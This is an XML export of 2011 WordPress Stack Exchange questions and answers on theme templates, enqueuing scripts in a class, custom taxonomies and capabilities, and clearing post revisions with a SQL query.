  <row Id="21383" PostTypeId="1" AcceptedAnswerId="21416" CreationDate="2011-06-29T03:09:52.657" Score="-4" ViewCount="62" Body="&lt;p&gt;Hey guys i recently created a theme. I want to show home.php when a visitor visit home page but all my blog posts are listed in index.php file. Can someone suggest me how to display index.php&#xA;i tried &lt;a href=&quot;http://www.mysiteurl.com/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.mysiteurl.com/index.php&lt;/a&gt;&#xA;but it redirecting me to &lt;a href=&quot;http://www.mysiteurl.com/home.php&quot; rel=&quot;nofollow&quot;&gt;http://www.mysiteurl.com/home.php&lt;/a&gt;&#xA;Please advise me. Thanks &lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-06-29T08:15:47.713" Title="How to display both home.php and index.php" Tags="&lt;homepage&gt;&lt;wordpress.org&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="21384" PostTypeId="2" ParentId="21382" CreationDate="2011-06-29T03:10:25.343" Score="1" ViewCount="" Body="&lt;p&gt;No you don't really have to create a category to associate your different post types. You can use this great &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Post 2 Post&lt;/a&gt; plugin by scribu. It does exactly what you are trying to do.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-29T03:10:25.343" CommentCount="1" />
  <row Id="21385" PostTypeId="2" ParentId="21383" CreationDate="2011-06-29T03:22:34.173" Score="1" ViewCount="" Body="&lt;p&gt;i think you can create an empty page and then under settings-&gt;reading settings you can set that newly created page to &quot;display latest posts&quot;.  i think that should get that page to trigger index.php&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-06-29T03:22:34.173" />
  <row Id="21386" PostTypeId="1" AcceptedAnswerId="21395" CreationDate="2011-06-29T03:47:06.557" Score="2" ViewCount="56" Body="&lt;p&gt;I have written a small class that will handle enqueues in my theme :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class Header {&#xA;&#xA;    public function init_hooks()&#xA;    {&#xA;        add_action('wp_print_scripts', array(__CLASS__,'include_all_files'));&#xA;    }&#xA;&#xA;    public function include_css_files()&#xA;    {&#xA;        wp_register_script('style.css', get_bloginfo('stylesheet_url'));&#xA;        wp_enqueue_script('style.css');&#xA;    }&#xA;&#xA;    public function include_js_files()&#xA;    {&#xA;        wp_register_script('jquery-min', &quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js&quot;);&#xA;        wp_enqueue_script('jquery-min');        &#xA;    }&#xA;&#xA;    public function include_all_files()&#xA;    {&#xA;        $this-&amp;gt;include_css_files();&#xA;        $this-&amp;gt;include_js_files();&#xA;    }&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I call it right before closing the head tag, like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$header = new Header();&#xA;$header-&amp;gt;init_hooks(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it does not work. There is no error, but no script is added. Any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-06-30T10:08:07.280" Title="Enqueue scripts inside a class" Tags="&lt;theme-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21388" PostTypeId="2" ParentId="21379" CreationDate="2011-06-29T04:20:16.077" Score="-1" ViewCount="" Body="&lt;p&gt;I Don't know about your codings.but i have another one suggestion.just try to install plugin and welcome your website users. &lt;a href=&quot;http://wordpress.org/extend/plugins/ajax-loginregister/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Ajax Login/Register&lt;/a&gt; . this plugin works fine.i think it'll help's you.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-29T04:20:16.077" />
  <row Id="21389" PostTypeId="2" ParentId="17850" CreationDate="2011-06-29T04:29:19.840" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;for instance, to replace the blog title w/ an image you could (stack wont let me post image code? so i just commented where the image should go)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;` &#xA;function childtheme_override_blogtitle() { ?&gt;  &lt;/p&gt;&#xA;&#xA; /&quot; title=&quot;&quot; rel=&quot;home&quot;&gt;/*insert image tag here*/&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;this sounds like a CSS question.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you could start w/ NOT importing the default typography.css or not use either of the default layouts.  i've seen some sites that scream &quot;i'm using thematic!&quot; and some where you can hardly tell.  you can also move things from certain hooks to other hooks. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;as a self-styled thematic expert, i have to admit that i'm almost exclusively building off of toolbox these days.  i was spending too much time stripping thematic content out, so i decided to switch to a more barebones framework.  &lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-06-29T04:29:19.840" />
  <row Id="21390" PostTypeId="1" CreationDate="2011-06-29T04:45:59.610" Score="-3" ViewCount="34" Body="&lt;p&gt;I'm currently double posting in Google sites and my wordpress and I would like to have &lt;em&gt;myfreeblog&lt;/em&gt; .  wordpress . com somehow included into my google sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="6587" LastActivityDate="2011-06-29T06:30:31.563" ClosedDate="2011-06-29T14:37:45.463" Title="Can I integrate my free wordpress blog into Google sites?" Tags="&lt;include&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="21391" PostTypeId="2" ParentId="21380" CreationDate="2011-06-29T04:47:01.943" Score="1" ViewCount="" Body="&lt;p&gt;did you tried &lt;a href=&quot;http://magpierss.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;MagpieRSS&lt;/a&gt; and &lt;a href=&quot;http://simplepie.org/&quot; rel=&quot;nofollow&quot;&gt;Simplepie&lt;/a&gt; ?.take a look on it. i think these are good one.If you want to activate by plugin means try &lt;a href=&quot;http://wordpress.org/extend/plugins/rss-import/&quot; rel=&quot;nofollow&quot;&gt;RSS Import&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-29T04:47:01.943" />
  <row Id="21392" PostTypeId="2" ParentId="15963" CreationDate="2011-06-29T05:00:39.200" Score="2" ViewCount="" Body="&lt;p&gt;Yes, you can store your data in your own tables in WordPress database. There are few things that you need to take care of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure your data can't be really represented using the built-in Wordpress content types.&lt;/li&gt;&#xA;&lt;li&gt;Prefix your tables with WordPress Prefix + your prefix. WordPress table prefix is $wpdb-&gt;prefix.&lt;/li&gt;&#xA;&lt;li&gt;Use the global $wpdb to query your custom tables, don't make a new connection.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now to answer your questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Yes, it is okay to store data in custom database tables. It won't conflict if you prefix your table names.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are many places to put your PHP code. But &lt;strong&gt;don't&lt;/strong&gt; put your PHP code in the HTML editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i) You can create your own plugin and for that you can put the code in plugin file which can be stored in wp-content/plugins/ directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ii) You can write your code in your theme's functions.php file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You don't need a plugin to query tables in Wordpress. Just &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb&quot; rel=&quot;nofollow&quot;&gt;read about $wpdb&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-29T05:00:39.200" CommentCount="1" />
  <row Id="21393" PostTypeId="2" ParentId="2885" CreationDate="2011-06-29T05:01:09.847" Score="-1" ViewCount="" Body="&lt;p&gt;I think conditions is_home and is_single must insert before function wp_footer()&lt;/p&gt;&#xA;" OwnerUserId="6588" LastActivityDate="2011-06-29T05:01:09.847" />
  <row Id="21394" PostTypeId="2" ParentId="21379" CreationDate="2011-06-29T05:08:33.053" Score="1" ViewCount="" Body="&lt;p&gt;Change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user_info-&amp;gt;user_login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_user-&amp;gt;login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-29T05:08:33.053" CommentCount="1" />
  <row Id="21395" PostTypeId="2" ParentId="21386" CreationDate="2011-06-29T05:10:12.257" Score="2" ViewCount="" Body="&lt;p&gt;You mean you call your class right before closing HTML tag? It is too late to enqueue scripts then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't hook into &lt;code&gt;wp_print_scripts&lt;/code&gt; to enqueue your scripts and styles. I just &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21561/where-is-the-right-place-to-register-enqueue-scripts-styles/&quot;&gt;learned&lt;/a&gt; this today from Rarst.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So change your init_hooks function to something like following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function init_hooks()&#xA;{&#xA;    add_action('wp_enqueue_scripts', array(__CLASS__,'include_all_files'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also you are using &lt;code&gt;wp_register_script&lt;/code&gt; and &lt;code&gt;wp_enqueue_script&lt;/code&gt; functions to enqueue your styles, Wordpress has separate functions to enqueue your styles &lt;code&gt;wp_register_style&lt;/code&gt; and &lt;code&gt;wp_enqueue_style&lt;/code&gt;. Your &lt;code&gt;include_css_files&lt;/code&gt; should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function include_css_files()&#xA;{&#xA;    // NOTE: you don't really have to use the filename as style slug.&#xA;    wp_register_style('my_style', get_bloginfo('stylesheet_url'));&#xA;    wp_enqueue_style('my_style');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now about instantiating your class and calling init_hooks. You can either place it directly inside your functions.php, or you can use the init action to instantiate your class.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-30T10:08:07.280" LastActivityDate="2011-06-30T10:08:07.280" CommentCount="7" />
  <row Id="21396" PostTypeId="2" ParentId="21383" CreationDate="2011-06-29T05:12:36.033" Score="0" ViewCount="" Body="&lt;p&gt;I don't know if I understand your question but... what about to put your home.php code in index.php?&lt;/p&gt;&#xA;" OwnerUserId="6519" LastActivityDate="2011-06-29T05:12:36.033" />
  <row Id="21397" PostTypeId="1" AcceptedAnswerId="21408" CreationDate="2011-06-29T05:45:27.783" Score="0" ViewCount="48" Body="&lt;p&gt;I have a taxonomy eg. authors. I want to create a custom UI for. I think integrating with a Meta Box together with other post meta will make things easier for the user. Also I think a jQuery UI AutoComplete (Multiple comma separated values) is more appropriate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I will need to know how I can &quot;update_post_taxonomy&quot;. I suppose I will need to &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if taxonomy does not exists&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create it&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;if post does not have the taxonomy term&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add it&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;remove terms that are not specified by user&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am sure there are functions for this?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-29T06:56:07.733" Title="How to update post taxonomies (Creating a custom UI for Custom Taxonomy)" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="21398" PostTypeId="1" AcceptedAnswerId="21401" CreationDate="2011-06-29T05:46:36.373" Score="0" ViewCount="103" Body="&lt;p&gt;I am manipulating an img element in functions.php using jQuery by changing the src attr on hover. How do I make so the absolute path works? Currently, when I view the image directly in the browser it brings me to 404 page. Relative path doesn't work either. &lt;/p&gt;&#xA;" OwnerUserId="6232" LastActivityDate="2011-06-29T06:28:35.120" Title="Absolute path to stylesheet_dir/images/my_img.jpg does not work?" Tags="&lt;jquery&gt;&lt;img&gt;" AnswerCount="1" />
  <row Id="21399" PostTypeId="1" AcceptedAnswerId="21404" CreationDate="2011-06-29T05:51:42.440" Score="0" ViewCount="25" Body="&lt;p&gt;I installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-system-health/&quot; rel=&quot;nofollow&quot;&gt;Wordpress System Health Plugin&lt;/a&gt; and it says that the revisions table in my database is at 70% capacity with 994 rows.  I don't fully understand what this means.  I anticipate that my site will get much larger than it is today.  Am I going to run into trouble or is there some way I can increase that table's capacity?  Is it a hosting issue?      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One proactive thing I have done is set a max number of post revisions to 4.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solution or an explanation to help me understand what's going on would be really appreciated.  Thanks for your help.  &lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-06-29T06:11:25.980" Title="The revisions table in my databse is at 70% capacity and growing. What should I do?" Tags="&lt;database&gt;" AnswerCount="2" />
  <row Id="21400" PostTypeId="1" CreationDate="2011-06-29T05:53:46.867" Score="1" ViewCount="122" Body="&lt;p&gt;I have built several Wordpress websites and noticed that custom fields are not restored to previous revisions. This might cause a problem when using custom fields to store content. Anybody knows how to add the custom fields to the revision history?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6589" LastActivityDate="2011-08-04T11:05:47.130" Title="Wordpress - custom fields are not restored to previous revisions" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="21401" PostTypeId="2" ParentId="21398" CreationDate="2011-06-29T05:54:14.887" Score="1" ViewCount="" Body="&lt;p&gt;i always start every theme w/ some constants&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&#xA;define('THEME', get_bloginfo('stylesheet_directory'));&#xA;//or you could use this one:&#xA;//define('THEME', get_stylesheet_directory_uri());&lt;/p&gt;&#xA;&#xA;&lt;p&gt;define('IMAGES', THEME . '/images');&#xA;`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and some others, but the point is that at any place in my code i can point to my theme's image folder &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;img src = &quot;&amp;lt;?php echo IMAGES . '/image.png';?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastEditorUserId="6477" LastEditorDisplayName="" LastEditDate="2011-06-29T06:28:35.120" LastActivityDate="2011-06-29T06:28:35.120" CommentCount="5" />
  <row Id="21402" PostTypeId="1" CreationDate="2011-06-29T05:54:32.580" Score="1" ViewCount="65" Body="&lt;p&gt;I'm looking to see if anyone knows of a wordpress plugin that will make a photo blog similar to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.forbes.com/wealth/billionaires/gallery/bill-gates#gallerycontent&quot; rel=&quot;nofollow&quot;&gt;http://www.forbes.com/wealth/billionaires/gallery/bill-gates#gallerycontent&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.zdnet.com/photos/2011-ipad-office-apps-showdown/6250550?seq=2&amp;amp;tag=photo-frame;get-photo-roto&quot; rel=&quot;nofollow&quot;&gt;http://www.zdnet.com/photos/2011-ipad-office-apps-showdown/6250550?seq=2&amp;amp;tag=photo-frame;get-photo-roto&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important things I'm looking for: Each image has its own unique page (does a full page reload everytime you go to a new image) and has a unique URL to get index by google. The ability to display a few sentences below the image or near it. Next and Previous buttons (or links).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know of a plugin or a way to accomplish this without making it from scratch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6590" LastActivityDate="2011-07-29T12:01:31.707" Title="Looking for a WordPress Photoblog/Gallery Plugin" Tags="&lt;gallery&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="21403" PostTypeId="2" ParentId="21399" CreationDate="2011-06-29T06:09:00.673" Score="0" ViewCount="" Body="&lt;p&gt;Is it possible it's telling you that 994 rows equal 70% of the total data in your database? I'm not sure what &quot;70% capacity&quot; means, MySQL has a memory limit of several gigabytes for a single database and can handle millions of records.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-29T06:09:00.673" />
  <row Id="21404" PostTypeId="2" ParentId="21399" CreationDate="2011-06-29T06:11:25.980" Score="1" ViewCount="" Body="&lt;p&gt;SQL query to run via phpmyadmin  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE a,b,c FROM wp_posts a LEFT JOIN wp_term_relationships b ON (a.ID = b.object_id)&#xA;LEFT JOIN wp_postmeta c ON (a.ID = c.post_id) WHERE a.post_type = 'revision'  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That query will remove all post revisions from your wp database,, &lt;strong&gt;But remember always back up your database before running any direct SQL query..&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also add a line into wp_config.php that will disable revisions (optional, i use it as i find revisions a bit of a pain)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define('WP_POST_REVISIONS', false);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-29T06:11:25.980" />
  <row Id="21405" PostTypeId="2" ParentId="21402" CreationDate="2011-06-29T06:16:41.423" Score="0" ViewCount="" Body="&lt;p&gt;This can be accomplished with Alex Rabes &lt;a href=&quot;http://alexrabe.de/2011/06/12/nextgen-gallery-v1-8-0-released/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;nextgen gallery plugin&lt;/strong&gt;&lt;/a&gt;, once you have your images uploaded you can admin a page to each image via the nextgen gallery admin console, theres a bit of a learning curve i find to this gallery if you not used it before, but it will do what you want..&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-29T06:16:41.423" />
  <row Id="21406" PostTypeId="2" ParentId="21390" CreationDate="2011-06-29T06:30:31.563" Score="0" ViewCount="" Body="&lt;p&gt;Rather than &quot;including&quot; your blog on Google Sites (which isn't really plausible), why don't you place a RSS feed of your blog at your Google site?&lt;/p&gt;&#xA;" OwnerUserId="6592" LastActivityDate="2011-06-29T06:30:31.563" />
  <row Id="21407" PostTypeId="2" ParentId="21400" CreationDate="2011-06-29T06:48:06.557" Score="2" ViewCount="" Body="&lt;p&gt;Post revisions are for the fields in the posts database table and not the postmeta database  table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to create your own postmeta revision you could save the meta when the revision is made using &lt;code&gt;_wp_put_post_revision&lt;/code&gt; and you can restore the meta using &lt;code&gt;wp_restore_post_revision&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-29T06:48:06.557" CommentCount="3" />
  <row Id="21408" PostTypeId="2" ParentId="21397" CreationDate="2011-06-29T06:56:07.733" Score="1" ViewCount="" Body="&lt;p&gt;The function you are looking for is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_post_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;wp_set_post_terms()&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which can create the terms if they don't exists and you can specify if to appended or replace existing terms.  so you can remove all none user terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as for &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if post does not have the taxonomy term , add it&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_post_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;wp_get_post_terms()&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; to check if the post has any terms of that taxonomy and if not then you can create and add using &lt;code&gt;wp_set_post_terms()&lt;/code&gt; once again&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-29T06:56:07.733" CommentCount="4" />
  <row Id="21409" PostTypeId="2" ParentId="2389" CreationDate="2011-06-29T07:07:29.047" Score="0" ViewCount="" Body="&lt;p&gt;check this out, it might be very useful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themergency.com/generators/wordpress-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://themergency.com/generators/wordpress-custom-post-types/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themergency.com/generators/wordpress-custom-taxonomy/&quot; rel=&quot;nofollow&quot;&gt;http://themergency.com/generators/wordpress-custom-taxonomy/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1226" LastActivityDate="2011-06-29T07:07:29.047" />
  <row Id="21410" PostTypeId="2" ParentId="21381" CreationDate="2011-06-29T07:29:16.427" Score="0" ViewCount="" Body="&lt;p&gt;You need to check out codex page regarding &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;roles and caps&lt;/strong&gt;&lt;/a&gt; to see the list of default capabilites that exist, you can always create your own &lt;a href=&quot;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/#add-capability&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;custom capabilites&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-29T07:29:16.427" />
  <row Id="21411" PostTypeId="1" CreationDate="2011-06-29T07:34:00.340" Score="0" ViewCount="45" Body="&lt;p&gt;I can't see to get it. The capabilities fail to appear when using plugins like &quot;Capability Manager&quot; or &quot;Members&quot; to view a list of available capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm attempting to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'register_taxonomy_spot_tag' );&#xA;&#xA;function register_taxonomy_spot_tag() {&#xA;&#xA;    $labels = array( &#xA;        'name' =&amp;gt; _x( 'Spot Tags', 'spot tag' ),&#xA;        'singular_name' =&amp;gt; _x( 'Spot Tag', 'spot tag' ),&#xA;        'search_items' =&amp;gt; _x( 'Search Spot Tags', 'spot tag' ),&#xA;        'popular_items' =&amp;gt; _x( 'Popular Spot Tags', 'spot tag' ),&#xA;        'all_items' =&amp;gt; _x( 'All Spot Tags', 'spot tag' ),&#xA;        'parent_item' =&amp;gt; _x( 'Parent Spot Tag', 'spot tag' ),&#xA;        'parent_item_colon' =&amp;gt; _x( 'Parent Spot Tag:', 'spot tag' ),&#xA;        'edit_item' =&amp;gt; _x( 'Edit Spot Tag', 'spot tag' ),&#xA;        'update_item' =&amp;gt; _x( 'Update Spot Tag', 'spot tag' ),&#xA;        'add_new_item' =&amp;gt; _x( 'Add New Spot Tag', 'spot tag' ),&#xA;        'new_item_name' =&amp;gt; _x( 'New Spot Tag Name', 'spot tag' ),&#xA;        'separate_items_with_commas' =&amp;gt; _x( 'Separate spot tags with commas', 'spot tag' ),&#xA;        'add_or_remove_items' =&amp;gt; _x( 'Add or remove spot tags', 'spot tag' ),&#xA;        'choose_from_most_used' =&amp;gt; _x( 'Choose from the most used spot tags', 'spot tag' ),&#xA;        'menu_name' =&amp;gt; _x( 'Spot Tags', 'spot tag' ),&#xA;    );&#xA;&#xA;    $args = array( &#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'show_in_nav_menus' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_tagcloud' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; false,&#xA;&#xA;        'rewrite' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'capabilities' =&amp;gt; array(&#xA;            'manage_terms' =&amp;gt; 'manage_spot_tags',&#xA;            'edit_terms' =&amp;gt; 'edit_spot_tags',&#xA;            'delete_terms' =&amp;gt; 'delete_spot_tags',&#xA;            'assign_terms' =&amp;gt; 'assign_spot_tags'&#xA;        )&#xA;    );&#xA;&#xA;    register_taxonomy( 'spot_tag', array('spot'), $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I generated the above code with this tool:&#xA;&lt;a href=&quot;http://themergency.com/generators/wordpress-custom-taxonomy/&quot; rel=&quot;nofollow&quot;&gt;http://themergency.com/generators/wordpress-custom-taxonomy/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1226" LastEditorUserId="1226" LastEditorDisplayName="" LastEditDate="2011-07-01T04:46:01.407" LastActivityDate="2011-08-30T06:36:53.103" Title="How do you add custom taxonomy capabilities exactly?" Tags="&lt;custom-taxonomy&gt;&lt;capabilities&gt;" AnswerCount="1" />
  <row Id="21412" PostTypeId="1" CreationDate="2011-06-29T05:41:46.127" Score="0" ViewCount="38" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21402/looking-for-a-wordpress-photoblog-gallery-plugin&quot;&gt;Looking for a WordPress Photoblog/Gallery Plugin&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I'm looking to see if anyone knows of a wordpress plugin that will make a photo blog similar to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.forbes.com/wealth/billionaires/gallery/bill-gates#gallerycontent&quot; rel=&quot;nofollow&quot;&gt;http://www.forbes.com/wealth/billionaires/gallery/bill-gates#gallerycontent&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.zdnet.com/photos/2011-ipad-office-apps-showdown/6250550?seq=2&amp;amp;tag=photo-frame;get-photo-roto&quot; rel=&quot;nofollow&quot;&gt;http://www.zdnet.com/photos/2011-ipad-office-apps-showdown/6250550?seq=2&amp;amp;tag=photo-frame;get-photo-roto&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important things I'm looking for:&#xA;Each image has its own unique page (does a full page reload everytime you go to a new image) and has a unique URL to get index by google.&#xA;The ability to display a few sentences below the image or near it.&#xA;Next and Previous buttons (or links).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know of a plugin or a way to accomplish this without making it from scratch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" LastActivityDate="2011-06-29T07:38:16.013" ClosedDate="2011-06-29T17:37:35.050" Title="Looking for a WordPress Photoblog/Gallery Plugin" Tags="&lt;plugins&gt;" CommentCount="0" />
  <row Id="21413" PostTypeId="2" ParentId="21411" CreationDate="2011-06-29T07:46:56.400" Score="0" ViewCount="" Body="&lt;p&gt;Try using add_cap  .... &lt;a href=&quot;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/#add-capability&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;adding new capability&lt;/strong&gt;&lt;/a&gt; and creating the capability first in functions.php, i cant locate anything that says capabilities can be created in registering a taxonomy, but you can certainly assign them there..&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-06-29T08:23:49.627" LastActivityDate="2011-06-29T08:23:49.627" CommentCount="2" />
